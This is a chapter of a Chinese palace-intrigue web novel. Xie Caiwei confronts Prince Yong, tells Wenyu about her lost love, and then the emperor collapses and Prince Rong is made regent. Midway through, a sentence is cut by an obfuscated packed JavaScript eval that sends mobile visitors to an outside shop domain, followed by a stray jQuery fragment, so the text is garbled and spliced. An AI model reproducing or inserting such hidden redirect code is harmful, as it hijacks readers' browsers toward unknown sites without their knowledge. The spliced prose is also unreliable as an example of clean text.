谢采薇逼视着雍王,“我告诉你,我早就不是以前的谢采薇了,你最好不要惹我,我想做什么你也管不着。”
雍王很显然被她折磨的不成样子,但是也知道她说的是真的,所以叹了口气,无奈的闭上眼睛,一时之间屋子里静的可怕,只有炭火烧红的啪啪声,外面有小太监在打扫,来来回回的,但是没有人进来。
谢采薇冷笑一声,看到雍王吃瘪的样子只觉得痛快,她就是想让他不好过,自己已经受了十年折磨,失去一切,甚至连最后的希望也没了,现在只有雍王的仇能让自己还有活下去力气。
温玉看她白了半边的发丝,心理戚戚,这个人大半辈子都在家族仇恨里活着,到了现在这个时候,还要和自己的仇人住在一起,捆绑在一起,一起沉沦下去,也当真是悲哀。
谢采薇自顾自的道,“我想着去给你师傅上柱香,毕竟是冤枉了她。”
温玉面目表情的回道,“不必了,师傅大概不愿意再见你们了,她已成尘归尘土归土,何必再去打扰。”
“这倒是,所以我就没有去,不过碧纯的事,我们没完,我答应过她哥哥要保护好她。”谢采薇自顾自的提到白碧纯。
温玉喝了口茶,“王妃想做什么尽管去做,毕竟当时你们合谋想把我送进宫里,后来又想杀我,这些你都可以做,还有什么不敢的,不过最后只会是害人害,自食其果。她现在根本不会再害怕谢采薇,她不过就是个纸糊的老虎,没有了雍王府没有了谢家,她算什么,没有人在乎的。
谢采薇听到她的话,气的柳眉倒竖,“你以为得了势,就能平安荣华富贵了吗,雍王府再落魄,也还是王府,你一个小小的内臣,妄想爬上来,不过是靠着那些男人。”
温玉冷笑,她一定也是听了一些的传闻,都说千秋令宋温玉年轻貌美,一面魅惑皇上,一面勾三搭四,什么谢朝,什么贺修,什么裴度,都是她的入幕之宾,和当年人尽可夫的白碧纯没什么两样,确实这也是她放出来的保护色,她要让所有人真的以为自己就是和白碧纯一样,只知道享乐荣华富贵,靠着这些男人才能好过。
“王妃说的是,奴这张脸就是靠着魅惑主上才能到了今日,不过那也是奴的本事,你这样说,就是在质疑皇上吗?”
谢采薇把杯子一放,涧出来水滴落到了碳火之中,很快融化,“你果然伶牙俐齿,但是你给我等着,花无百日红,你总会被厌弃的一日,我不会放过你。”
一直没有开口的雍王此时忽然站起来,“你先在这里,我去看看皇上醒了没有。”他说完深深看了温玉一眼就出去了,温玉看着这个人的背影,恍惚觉得和师傅有些像,他们当年是有多么亲密,才能做到如此相似的神态。
不过早就是一个黄土白骨,一个荣华富贵了,他们也是戏文里的一场错付。
雍王出去之后谢采薇松了口气,反而不再找温玉的刺,其实连她自己都看不明白自己,她为什么会变成现在这个样子,她曾经也是个心地善良天真烂漫的女孩,被父母捧着长大,不知道人世间疾苦。
“你知道吗,我第一次遇到念卿,是我偷偷从家中跑出来逛灯会,我被一伙人拦住,差点就遭遇不测,幸亏他救了我,安慰我,把我送回家,他说话很温柔,看着我也很温柔,我喜欢听他唱戏,他唱的很好,清流婉转,不比你差。”谢采薇看看这外面,说着自己的往事,不知道为什么,她总觉的自己的故事就要埋没在时间里了,但是她想告诉温玉。
因为她听过温玉的戏,真的很好动人,和她心爱的人一样好,那是一种对戏曲的痴迷,其实她根本就不讨厌温玉,甚至还是很喜欢的,因为念卿说过,戏最能看出来一个人人品,所以她知道温玉很干净,但是就是喜欢不起来。
她是在嫉妒,她为什么这么苦,失去一切,嫁给不爱的人,那个人也不爱她,两人互相折磨到现在,报仇报错了,爱人的妹妹也死了,仿佛他们之间的羁绊已经一点不剩。
“后来,我们相爱,偷偷私会,度过了一段很甜蜜的日子,可是好景不长,我们的事被父亲发现了,他气得要打死他,让我必须嫁给雍王,把我关起来。”谢采薇说着说着就哭了,她抬起眼努力让自己不要流下来眼泪,温玉不知道她为什么要把这些讲给自己听,但是还是没有打断她,无论她做错什么,现在只是一个被命运捉弄,被权利裹挟不能自己做主的苦命人。
说着说着,谢采薇看向温玉,“其实我不恨你,我只是,只是不知道该怎么活下去,也许我十年前就该和念卿一起走了,但是苟活到现在,如今又想找个理由,继续活下去。”她红着眼看着火光,温玉看看她被火烤的发红的脸,面上都是凄楚。
十年前的错误,一直延续到今天,仍是没有解药,谢采薇一辈子都被困在仇恨里,回忆着过去仅有的甜蜜撑到了现在。
温玉刚想说什么,就听到有小太监在外面高喊,“来人呀,来人呀,不好了,皇上昏倒了。”
她们两个大惊失色,赶紧站起来疾步走出去,一出门就被冷气吹了个透心凉,但是顾不上在穿披肩,感紧跑到正殿,只见里面进进出出太监宫女,不一会就有太医跑着进来。
她站在大殿外面,看着雍王一个人站在殿内,太医跑进去,跪下诊脉,过了不多会贵妃带着荣王也来了,哭哭啼啼的往里走,她现在是后宫里地位最高的人,所有人都看她的脸色。
温玉被这突如其来的事故惊到了,一时间无法思考,这时谢采薇也走了过来,同她站在一起,低声道,“皇上看着精神还好,怎么会晕倒了。”
温玉也弄不清楚来由,只是心里七上八下的打鼓,她赶紧走到一边抓住个小太监,“皇上到底怎么会出事。”那小太监慌慌张张的也说不清楚,“奴也不清楚,只是雍王进去半刻就救出了事。”
雍王,到底他们有什么谋划,温玉一时想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896759|212763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不出来,只能站在外面等着,过了许久终于从里面传出来动静,雍王问道,“皇上,您身体不好,朝政应该怎么办。”看样子庆帝已经醒了,太医们也陆陆续续出来开药。
贵妃哭哭啼啼的喊着皇上,荣王在一旁侧身侍立,然后听到庆帝微弱的声音在大殿里格外清晰,“让荣王监国。”
一切来的太突然,雍王与贵妃传旨荣王监国,这就相当于告诉所有人储君的人选,而且庆帝极为疼爱荣王,这也合情合理,没人有异议。
温玉就愣愣的站在外面,只觉得今日的一切都太过蹊跷,早上来的时候,庆帝明明还是很好的,现在忽然这样,太不对劲。
站在一边的谢采薇冷笑一声,“看样子又要让他如愿了,沉寂这么久,果然还是这个样子。”
温玉不明白她说的是什么意思,但是想来应该说的是雍王,她的去问问湖光,才能知道庆帝的状况,所以赶紧问了个太监刚刚侍寝的姑娘在哪里,小太监领着她去,湖光被安排在正殿后面,看来很受宠,见了湖光就给她使眼色,湖光明白就与她一起走到院子里。
“湖光,皇上昏倒了。”她开门见山,“什么?”湖光大惊失色,“怎么会。”
“你侍奉的时候,有没有发现不对劲。”湖光脸色一红,低声道,“没有,就是皇上后来说头晕就让人送我回来了。”
“那你看皇上脸色如何。”
“还好,没有大碍。”
这就奇怪了,温玉刚走出去回到正殿,就听到一个小太监进来,“来人,赶紧去把刚刚侍寝的姑娘关起来听候发落,去传尚书令大人进宫,再传贺统领进宫护驾。”
温玉一听要把湖光住起来,就担心的拦着,“皇上可是有什么不适。”
那个小太监摇摇头,只怕自己被人连累,“这是贵妃娘娘意思,千秋令不用担心。”
温玉看着所有人进进出出,过了一会,就见尚书令与贺修一齐进来,贺修走到温玉身边看了一眼,然后赶紧进去,又是大半日,他们才出来。
雍王也一起出来了,看着还在外面的她们,嘱咐道,“王妃你先回去,几今日宴会取消了。”谢采薇白了一眼。
“千秋令,因为皇上是宠幸了你送来的人出事,现在在审讯,所以你不能离开这里。”
温玉心下一冷,这一定是有预谋的,但是也只能遵从,现在最重要的应该把这里消息传递出去才行,不过如今自己出不去,又如何能传信。
谢采薇同她一道出来,两个人到了殿外,谢采薇叫住她,“你是不是想传消息出去。”
温玉看看她,忽然心动一下,但是不敢冒险,“你放心,我比你恨雍王,我可见不得他好,这个人可真是会装模作样,连我也骗了过去。”
温玉想了想,还是选择相信一次,毕竟事情紧急,而且给谢朝带话,不会被质疑,“王妃,请你带句话给谢朝,就说可以送信了。”